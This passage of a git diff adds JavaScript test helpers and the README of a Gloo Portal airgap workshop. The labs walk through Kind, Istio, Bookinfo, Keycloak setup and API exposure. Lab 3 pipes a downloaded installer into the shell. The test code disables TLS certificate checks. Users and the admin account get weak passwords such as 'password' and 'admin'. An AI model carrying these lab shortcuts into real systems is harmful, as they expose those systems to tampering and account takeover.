index 0000000000..d0b8a42277 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/tests/chai-http.js @@ -0,0 +1,63 @@ +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const utils = require('./utils'); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +global = { + checkURL: ({ host, path = "", headers = [], retCode }) => { + let request = chai.request(host).head(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + }, + checkBody: ({ host, path = "", headers = [], body = '', match = true }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + if (match) { + expect(res.text).to.contain(body); + } else { + expect(res.text).not.to.contain(body); + } + }); + }, + checkHeaders: ({ host, path = "", headers = [], expectedHeaders = [] }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expectedHeaders.forEach(header => expect(res.header[header.key]).to.equal(header.value)); + }); + }, + checkWithMethod: ({ host, path, headers = [], method = "get", retCode }) => { + let request + if (method === "get") { + request = chai.request(host).get(path).redirects(0); + } else if (method === "post") { + request = chai.request(host).post(path).redirects(0); + } else if (method === "put") { + request = chai.request(host).put(path).redirects(0); + } else { + throw 'The requested method is not implemented.' + } + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + } +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/tests/keycloak-token.js b/gloo-mesh/gateway/2-5/airgap/dedfault/tests/keycloak-token.js new file mode 100644 index 0000000000..3ac1a691db --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/tests/keycloak-token.js @@ -0,0 +1,4 @@ +const keycloak = require('./keycloak'); +const { argv } = require('node:process'); + +keycloak.getKeyCloakCookie(argv[2], argv[3]); diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/tests/keycloak.js b/gloo-mesh/gateway/2-5/airgap/dedfault/tests/keycloak.js new file mode 100644 index 0000000000..aae79f0fdc --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/tests/keycloak.js @@ -0,0 +1,41 @@ +const puppeteer = require('puppeteer'); +//const utils = require('./utils'); + +global = { + getKeyCloakCookie: async (url, user) => { + const browser = await puppeteer.launch({ + headless: "new", + ignoreHTTPSErrors: true, + args: ['--no-sandbox', '--disable-setuid-sandbox'], // needed for instruqt + }); + const page = await browser.newPage(); + await page.goto(url); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Enter credentials + //await page.waitForSelector('#username'); + //await page.waitForSelector('#password'); + await page.type('#username', user); + await page.type('#password', 'password'); + await page.click('#kc-login'); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Retrieve session cookie + const cookies = await page.cookies(); + const sessionCookie = cookies.find(cookie => cookie.name === 'keycloak-session'); + let ret; + if (sessionCookie) { + ret = `${sessionCookie.name}=${sessionCookie.value}`; // Construct the cookie string + } else { + console.error(` No session cookie found for ${user}`); + ret = "keycloak-session=dummy"; + } + await browser.close(); + console.log(ret); + return ret; + } +}; + +module.exports = global; diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/tests/utils.js b/gloo-mesh/gateway/2-5/airgap/dedfault/tests/utils.js new file mode 100644 index 0000000000..9747efaa2c --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/tests/utils.js @@ -0,0 +1,13 @@ +global = { + sleep: ms => new Promise(resolve => setTimeout(resolve, ms)), + waitOnFailedTest: (done, currentRetry) => { + if(currentRetry > 0){ + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } + } +}; + +module.exports = global; \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/portal/README.md b/gloo-mesh/gateway/2-5/airgap/portal/README.md new file mode 100644 index 0000000000..25a0750c27 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/README.md @@ -0,0 +1,3633 @@ + + + + + +![Gloo Mesh Enterprise](images/gloo-mesh-enterprise.png) +#
Gloo Portal (2.5.0)
+ + + +## Table of Contents +* [Introduction](#introduction) +* [Lab 1 - Deploy a KinD cluster](#lab-1---deploy-a-kind-cluster-) +* [Lab 2 - Prepare airgap environment](#lab-2---prepare-airgap-environment-) +* [Lab 3 - Deploy and register Gloo Mesh](#lab-3---deploy-and-register-gloo-mesh-) +* [Lab 4 - Deploy Istio using Gloo Mesh Lifecycle Manager](#lab-4---deploy-istio-using-gloo-mesh-lifecycle-manager-) +* [Lab 5 - Deploy the Bookinfo demo app](#lab-5---deploy-the-bookinfo-demo-app-) +* [Lab 6 - Deploy the httpbin demo app](#lab-6---deploy-the-httpbin-demo-app-) +* [Lab 7 - Deploy Gloo Mesh Addons](#lab-7---deploy-gloo-mesh-addons-) +* [Lab 8 - Create the gateways workspace](#lab-8---create-the-gateways-workspace-) +* [Lab 9 - Create the bookinfo workspace](#lab-9---create-the-bookinfo-workspace-) +* [Lab 10 - Expose the productpage through a gateway](#lab-10---expose-the-productpage-through-a-gateway-) +* [Lab 11 - Create the httpbin workspace](#lab-11---create-the-httpbin-workspace-) +* [Lab 12 - Deploy Keycloak](#lab-12---deploy-keycloak-) +* [Lab 13 - Expose the productpage API securely](#lab-13---expose-the-productpage-api-securely-) +* [Lab 14 - Expose an external API and stitch it with another one](#lab-14---expose-an-external-api-and-stitch-it-with-another-one-) +* [Lab 15 - Expose the dev portal backend](#lab-15---expose-the-dev-portal-backend-) +* [Lab 16 - Deploy and expose the dev portal frontend](#lab-16---deploy-and-expose-the-dev-portal-frontend-) +* [Lab 17 - Allow users to create their own API keys](#lab-17---allow-users-to-create-their-own-api-keys-) +* [Lab 18 - Dev portal monetization](#lab-18---dev-portal-monetization-) +* [Lab 19 - Deploy Backstage with the backend plugin](#lab-19---deploy-backstage-with-the-backend-plugin-) + + + +## Introduction + +[Gloo Mesh Enterprise](https://www.solo.io/products/gloo-mesh/) is a management plane which makes it easy to operate [Istio](https://istio.io) on one or many Kubernetes clusters deployed anywhere (any platform, anywhere). + +### Istio support + +The Gloo Mesh Enterprise subscription includes end to end Istio support: + +- Upstream first +- Specialty builds available (FIPS, ARM, etc) +- Long Term Support (LTS) N-4 +- Critical security patches +- Production break-fix +- One hour SLA Severity 1 +- Install / upgrade +- Architecture and operational guidance, best practices + +### Gloo Mesh overview + +Gloo Mesh provides many unique features, including: + +- multi-tenancy based on global workspaces +- zero trust enforcement +- global observability (centralized metrics and access logging) +- simplified cross cluster communications (using virtual destinations) +- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...) + +![Gloo Mesh graph](images/gloo-mesh-graph.png) + +### Want to learn more about Gloo Mesh + +You can find more information about Gloo Mesh in the official documentation: + +[https://docs.solo.io/gloo-mesh/latest/](https://docs.solo.io/gloo-mesh/latest/) + + + + +## Lab 1 - Deploy a KinD cluster + + +Clone this repository and go to the directory where this `README.md` file is. + +Set the context environment variables: + +```bash +export MGMT=cluster1 +export CLUSTER1=cluster1 +``` + +Run the following commands to deploy a Kubernetes cluster using [Kind](https://kind.sigs.k8s.io/): + +```bash +./scripts/deploy.sh 1 cluster1 us-west us-west-1 +``` + +Then run the following commands to wait for all the Pods to be ready: + +```bash +./scripts/check.sh cluster1 +``` + +**Note:** If you run the `check.sh` script immediately after the `deploy.sh` script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again. + +Once the `check.sh` script completes, when you execute the `kubectl get pods -A` command, you should see the following: + +``` +NAMESPACE NAME READY STATUS RESTARTS AGE +kube-system calico-kube-controllers-59d85c5c84-sbk4k 1/1 Running 0 4h26m +kube-system calico-node-przxs 1/1 Running 0 4h26m +kube-system coredns-6955765f44-ln8f5 1/1 Running 0 4h26m +kube-system coredns-6955765f44-s7xxx 1/1 Running 0 4h26m +kube-system etcd-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-apiserver-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-controller-manager-cluster1-control-plane1/1 Running 0 4h27m +kube-system kube-proxy-ksvzw 1/1 Running 0 4h26m +kube-system kube-scheduler-cluster1-control-plane 1/1 Running 0 4h27m +local-path-storage local-path-provisioner-58f6947c7-lfmdx 1/1 Running 0 4h26m +metallb-system controller-5c9894b5cd-cn9x2 1/1 Running 0 4h26m +metallb-system speaker-d7jkp 1/1 Running 0 4h26m +``` + + + + +## Lab 2 - Prepare airgap environment + +Set the registry variable: +```bash +export registry=localhost:5000 +``` + +Pull and push locally the Docker images needed: + +```bash +cat <<'EOF' > images.txt +docker.io/curlimages/curl +djannot/portal-frontend:0.1 +docker.io/bats/bats:v1.4.1 +docker.io/bitnami/clickhouse:23.11.1-debian-11-r1 +docker.io/grafana/grafana:10.0.3 +docker.io/kennethreitz/httpbin +docker.io/nginx:1.25.3 +docker.io/openpolicyagent/opa:0.57.1-debug +docker.io/redis:7.0.14-alpine +gcr.io/gloo-mesh/ext-auth-service:0.55.3 +gcr.io/gloo-mesh/gloo-mesh-agent:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-apiserver:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-envoy:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-mgmt-server:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-portal-server:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-ui:2.5.0 +gcr.io/gloo-mesh/gloo-otel-collector:2.5.0 +gcr.io/gloo-mesh/rate-limiter:0.11.7 +jimmidyson/configmap-reload:v0.8.0 +quay.io/keycloak/keycloak:22.0.5 +quay.io/prometheus/prometheus:v2.41.0 +us-docker.pkg.dev/gloo-mesh/istio-workshops/operator:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/pilot:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/proxyv2:1.19.3-solo +EOF + +for url in https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo.yaml https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/networking/bookinfo-gateway.yaml +do + for image in $(curl -sfL ${url}|grep image:|awk '{print $2}') + do + echo $image >> images.txt + done +done + +cat images.txt | while read image; do + nohup sh -c "echo $image | xargs -P10 -n1 docker pull" nohup.out 2>nohup.err & +done + +cat images.txt | while read image; do + src=$(echo $image | sed 's/^docker\.io\///g' | sed 's/^library\///g') + dst=$(echo $image | awk -F/ '{ if(NF>3){ print $3"/"$4}else{if(NF>2){ print $2"/"$3}else{if($1=="docker.io"){print $2}else{print $1"/"$2}}}}' | sed 's/^library\///g') + docker pull $image + + id=$(docker images $src --format "{{.ID}}") + + docker tag $id ${registry}/$dst + docker push ${registry}/$dst + dst_dev=$(echo ${dst} | sed 's/gloo-platform-dev/gloo-mesh/') + docker tag $id ${registry}/$dst_dev + docker push ${registry}/$dst_dev +done +``` + + + +## Lab 3 - Deploy and register Gloo Mesh +[VIDEO LINK](https://youtu.be/djfFiepK4GY "Video Link") + + +Before we get started, let's install the `meshctl` CLI: + +```bash +export GLOO_MESH_VERSION=v2.5.0 +curl -sL https://run.solo.io/meshctl/install | sh - +export PATH=$HOME/.gloo-mesh/bin:$PATH +``` + +First, create a secret with the password to use to store access logs in Clickhouse: + +```bash +cat << EOF | kubectl --context ${MGMT} apply -f - +kind: Namespace +apiVersion: v1 +metadata: + name: gloo-mesh +--- +apiVersion: v1 +kind: Secret +metadata: + name: clickhouse-auth + namespace: gloo-mesh +type: Opaque +stringData: + password: password +EOF +``` + +And then, install the Helm charts: + +```bash +kubectl --context ${MGMT} create ns gloo-mesh + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.5.0 + +helm upgrade --install gloo-platform-mgmt gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.5.0 \ + -f -< + + + + + +## Lab 4 - Deploy Istio using Gloo Mesh Lifecycle Manager +[VIDEO LINK](https://youtu.be/f76-KOEjqHs "Video Link") + +We are going to deploy Istio using Gloo Mesh Lifecycle Manager. + +Let's create Kubernetes services for the gateways: + +```bash +registry=localhost:5000 +kubectl --context ${CLUSTER1} create ns istio-gateways +kubectl --context ${CLUSTER1} label namespace istio-gateways istio.io/rev=1-19 --overwrite + +kubectl apply --context ${CLUSTER1} -f - < + + + + +```bash +export HOST_GW_CLUSTER1="$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +``` + + + + + +## Lab 5 - Deploy the Bookinfo demo app +[VIDEO LINK](https://youtu.be/nzYcrjalY5A "Video Link") + +We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](https://istio.io/latest/docs/examples/bookinfo/). +Update the registry in our bookinfo manifests: + +```bash +sed -i'' -e "s/image: docker.io/image: ${registry}/g" \ + data/steps/deploy-bookinfo/productpage-v1.yaml \ + data/steps/deploy-bookinfo/details-v1.yaml \ + data/steps/deploy-bookinfo/ratings-v1.yaml \ + data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + data/steps/deploy-bookinfo/reviews-v3.yaml +``` + +Run the following commands to deploy the bookinfo application on `cluster1`: + +```bash +kubectl --context ${CLUSTER1} create ns bookinfo-frontends +kubectl --context ${CLUSTER1} create ns bookinfo-backends +kubectl --context ${CLUSTER1} label namespace bookinfo-frontends istio.io/rev=1-19 --overwrite +kubectl --context ${CLUSTER1} label namespace bookinfo-backends istio.io/rev=1-19 --overwrite + +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml + +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3 +kubectl --context ${CLUSTER1} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml + +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1} +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1} +``` + + + +You can check that the app is running using the following command: + +``` +kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods +``` + +Note that we deployed the `productpage` service in the `bookinfo-frontends` namespace and the other services in the `bookinfo-backends` namespace. + +And we deployed the `v1` and `v2` versions of the `reviews` microservice, not the `v3` version. + + + + + +## Lab 6 - Deploy the httpbin demo app +[VIDEO LINK](https://youtu.be/w1xB-o_gHs0 "Video Link") + +We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](http://httpbin.org/). + +Run the following commands to deploy the httpbin app on `cluster1`. The deployment will be called `not-in-mesh` and won't have the sidecar injected (because we don't label the namespace). + +```bash +kubectl --context ${CLUSTER1} create ns httpbin +kubectl apply --context ${CLUSTER1} -f - </dev/null +do + sleep 1 + echo -n . +done" +echo +--> + +You can follow the progress using the following command: + +```bash +kubectl --context ${CLUSTER1} -n httpbin get pods +``` + +```,nocopy +NAME READY STATUS RESTARTS AGE +in-mesh-5d9d9549b5-qrdgd 2/2 Running 0 11s +not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s +``` + + + + +## Lab 7 - Deploy Gloo Mesh Addons +[VIDEO LINK](https://youtu.be/_rorug_2bk8 "Video Link") + +To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons. + +First, you need to create a namespace for the addons, with Istio injection enabled: + +```bash +kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +``` + +Then, you can deploy the addons on the cluster(s) using Helm: + +```bash +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh-addons \ + --kube-context ${CLUSTER1} \ + --version 2.5.0 \ + -f -< ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Gloo Platform add-ons cluster1 deployment", () => { + let cluster = process.env.CLUSTER1 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-gloo-mesh-addons/tests/check-addons-deployments.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +This is what the environment looks like now: + +![Gloo Platform Workshop Environment](images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg) + + + +## Lab 8 - Create the gateways workspace +[VIDEO LINK](https://youtu.be/QeVBH0eswWw "Video Link") + +We're going to create a workspace for the team in charge of the Gateways. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `gateways` workspace which corresponds to the `istio-gateways` and the `gloo-mesh-addons` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < + +We're going to create a workspace for the team in charge of the Bookinfo application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `bookinfo` workspace which corresponds to the `bookinfo-frontends` and `bookinfo-backends` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/emyIu99AOOA "Video Link") + +In this step, we're going to expose the `productpage` service through the Ingress Gateway using Gloo Mesh. + +The Gateway team must create a `VirtualGateway` to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Productpage is available (HTTP)", () => { + it('/productpage is available in cluster1', () => helpers.checkURL({ host: `http://cluster1-bookinfo.example.com`, path: '/productpage', retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-expose/tests/productpage-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Gloo Mesh translates the `VirtualGateway` and `RouteTable` into the corresponding Istio objects (`Gateway` and `VirtualService`). + +Now, let's secure the access through TLS. +Let's first create a private key and a self-signed certificate: + +```bash +openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout tls.key -out tls.crt -subj "/CN=*" +``` + +Then, you have to store them in a Kubernetes secret running the following commands: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt +``` + +Finally, the Gateway team needs to update the `VirtualGateway` to use this secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - <. + +Notice that we specificed a minimumProtocolVersion, so if the client is trying to use an deprecated TLS version the request will be denied. + +To test this, we can try to send a request with `tlsv1.2`: + +```console +curl --tlsv1.2 --tls-max 1.2 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +You should get the following output: + +```nocopy +curl: (35) error:1409442E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version +``` + +Now, you can try the most recent `tlsv1.3`: + +```console +curl --tlsv1.3 --tls-max 1.3 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +And after this you should get the actual Productpage. + + + +This diagram shows the flow of the request (through the Istio Ingress Gateway): + +![Gloo Mesh Gateway](images/steps/gateway-expose/gloo-mesh-gateway.svg) + + + + +## Lab 11 - Create the httpbin workspace + +We're going to create a workspace for the team in charge of the httpbin application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `httpbin` workspace which corresponds to the `httpbin` namespace on `cluster1`: + +```bash +kubectl apply --context ${MGMT} -f - < + +In many use cases, you need to restrict the access to your applications to authenticated users. + +OpenID Connect (OIDC) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations. + +The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-Based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token. + +In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later. + +Let's install it: + +```bash +kubectl --context ${MGMT} create namespace keycloak + +kubectl apply --context ${MGMT} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Keycloak", () => { + it('keycloak pods are ready in cluster1', () => helpers.checkDeployment({ context: process.env.MGMT, namespace: "keycloak", k8sObj: "keycloak" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-keycloak/tests/pods-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +Then, we will configure it and create two users: + +- User1 credentials: `user1/password` + Email: user1@example.com + +- User2 credentials: `user2/password` + Email: user2@solo.io + + + +Let's set the environment variables we need: + +```bash +export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080 +export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK%:*}) +export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK##*:}) +export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK} +``` + + + + +Now, we need to get a token: + +```bash +export KEYCLOAK_TOKEN=$(curl -Ssm 10 --fail-with-body \ + -d "client_id=admin-cli" \ + -d "username=admin" \ + -d "password=admin" \ + -d "grant_type=password" \ + "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | + jq -r .access_token) +``` + +After that, we configure Keycloak: + +```bash +# Create initial token to register the client +read -r client token <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "expiration": 0, "count": 1 }' \ + $KEYCLOAK_URL/admin/realms/master/clients-initial-access | + jq -r '[.id, .token] | @tsv') +KEYCLOAK_CLIENT=${client} + +# Register the client +read -r id secret <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: bearer ${token}" -H "Content-Type: application/json" \ + -d '{ "clientId": "'${KEYCLOAK_CLIENT}'" }' \ + ${KEYCLOAK_URL}/realms/master/clients-registrations/default | + jq -r '[.id, .secret] | @tsv') +KEYCLOAK_SECRET=${secret} + +# Add allowed redirect URIs +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://cluster1-httpbin.example.com'/*","'https://cluster1-portal.example.com'/*","'https://cluster1-backstage.example.com'/*"] }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id} + +# Set access token lifetime to 30m (default is 1m) +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "accessTokenLifespan": 1800 }' \ + ${KEYCLOAK_URL}/admin/realms/master + +# Add the group attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true" } }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Add the show_personal_data attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "show_personal_data", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "show_personal_data", "jsonType.label": "String", "user.attribute": "show_personal_data", "id.token.claim": "true", "access.token.claim": "true"} } ' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Create first user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user1", "email": "user1@example.com", "enabled": true, "attributes": { "group": "users" }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +# Create second user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user2", "email": "user2@solo.io", "enabled": true, "attributes": { "group": "users", "show_personal_data": false }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +``` + +> **Note:** If you get a *Not Authorized* error, please, re-run the following command and continue from the command that started to fail: + +``` +KEYCLOAK_TOKEN=$(curl -m 2 -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token) +``` + + + + +## Lab 13 - Expose the productpage API securely +[VIDEO LINK](https://youtu.be/pkzeYaTj9k0 "Video Link") + + +Gloo Platform includes a developer portal, which is well integrated with its core API. + +Let's start with API discovery. + +Annotate the `productpage` service to allow the Gloo Platform agent to discover its API: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-source=https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/swagger.yaml --overwrite +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-pull-attempts="3" --overwrite +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-retry-delay=5s --overwrite +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-use-backoff="true" --overwrite +``` + + + +An `APIDoc` Kubernetes object should be automatically created: + +```shell +kubectl --context ${CLUSTER1} -n bookinfo-frontends get apidoc productpage-service -o yaml +``` + + + +You should get something like this: + +```yaml,nocopy +apiVersion: apimanagement.gloo.solo.io/v2 +kind: ApiDoc +metadata: + creationTimestamp: "2023-04-05T06:48:33Z" + generation: 1 + labels: + reconciler.mesh.gloo.solo.io/name: schema-reporter-service + name: productpage-service + namespace: bookinfo-frontends + resourceVersion: "116408" + uid: 2ae9188c-713e-4ba3-86a6-8689f55cda0f +spec: + openapi: + inlineString: '{"components":{"schemas":{"Product":{"description":"Basic information + about a product","properties":{"descriptionHtml":{"description":"Description + of the book - may contain HTML tags","type":"string"},"id":{"description":"Product + id","format":"int32","type":"integer"},"title":{"description":"Title of the + book","type":"string"}},"required":["id","title","descriptionHtml"],"type":"object"},"ProductDetails":{"description":"Detailed + information about a product","properties":{"ISBN-10":{"description":"ISBN-10 + of the book","type":"string"},"ISBN-13":{"description":"ISBN-13 of the book","type":"string"},"author":{"description":"Author + of the book","type":"string"},"id":{"description":"Product id","format":"int32","type":"integer"},"language":{"description":"Language + of the book","type":"string"},"pages":{"description":"Number of pages of the + book","format":"int32","type":"integer"},"publisher":{"description":"Publisher + of the book","type":"string"},"type":{"description":"Type of the book","enum":["paperback","hardcover"],"type":"string"},"year":{"description":"Year + the book was first published in","format":"int32","type":"integer"}},"required":["id","publisher","language","author","ISBN-10","ISBN-13","year","type","pages"],"type":"object"},"ProductRatings":{"description":"Object + containing ratings of a product","properties":{"id":{"description":"Product + id","format":"int32","type":"integer"},"ratings":{"additionalProperties":{"type":"string"},"description":"A + hashmap where keys are reviewer names, values are number of stars","type":"object"}},"required":["id","ratings"],"type":"object"},"ProductReviews":{"description":"Object + containing reviews for a product","properties":{"id":{"description":"Product + id","format":"int32","type":"integer"},"reviews":{"description":"List of reviews","items":{"$ref":"#/components/schemas/Review"},"type":"array"}},"required":["id","reviews"],"type":"object"},"Rating":{"description":"Rating + of a product","properties":{"color":{"description":"Color in which stars should + be displayed","enum":["red","black"],"type":"string"},"stars":{"description":"Number + of stars","format":"int32","maximum":5,"minimum":1,"type":"integer"}},"required":["stars","color"],"type":"object"},"Review":{"description":"Review + of a product","properties":{"rating":{"$ref":"#/components/schemas/Rating"},"reviewer":{"description":"Name + of the reviewer","type":"string"},"text":{"description":"Review text","type":"string"}},"required":["reviewer","text"],"type":"object"}}},"externalDocs":{"description":"Learn + more about 